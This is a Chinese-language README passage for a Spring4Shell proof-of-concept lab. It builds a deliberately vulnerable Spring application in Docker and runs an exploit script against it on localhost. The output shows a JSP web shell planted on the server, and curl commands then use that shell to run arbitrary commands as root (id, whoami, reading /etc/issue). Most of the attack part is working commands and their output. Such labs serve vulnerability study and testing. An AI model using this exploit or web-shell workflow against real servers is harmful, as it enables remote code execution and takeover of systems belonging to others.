
需要基于 BuildKit 的构建,因此你必须启用它。
最简单的方法是在执行 docker build 命令时设置 DOCKER_BUILDKIT=1 环境变量,例如:
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
否则,要默认启用 Docker BuildKit,请将 /etc/docker/daemon.json 中的守护进程配置的 feature 设置为 true 并重启守护进程:
{ "features": { "buildkit": true } }
这样你就可以直接执行:
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Spring4Shell PoC Spring Application</title>
</head>
<body>
Hello World! Exploit me!
</body>
</html>
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
如果一切正常,你可以通过 Tomcat HTTP 端口在容器中执行任意命令,例如:
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)
//
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root
//
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l
//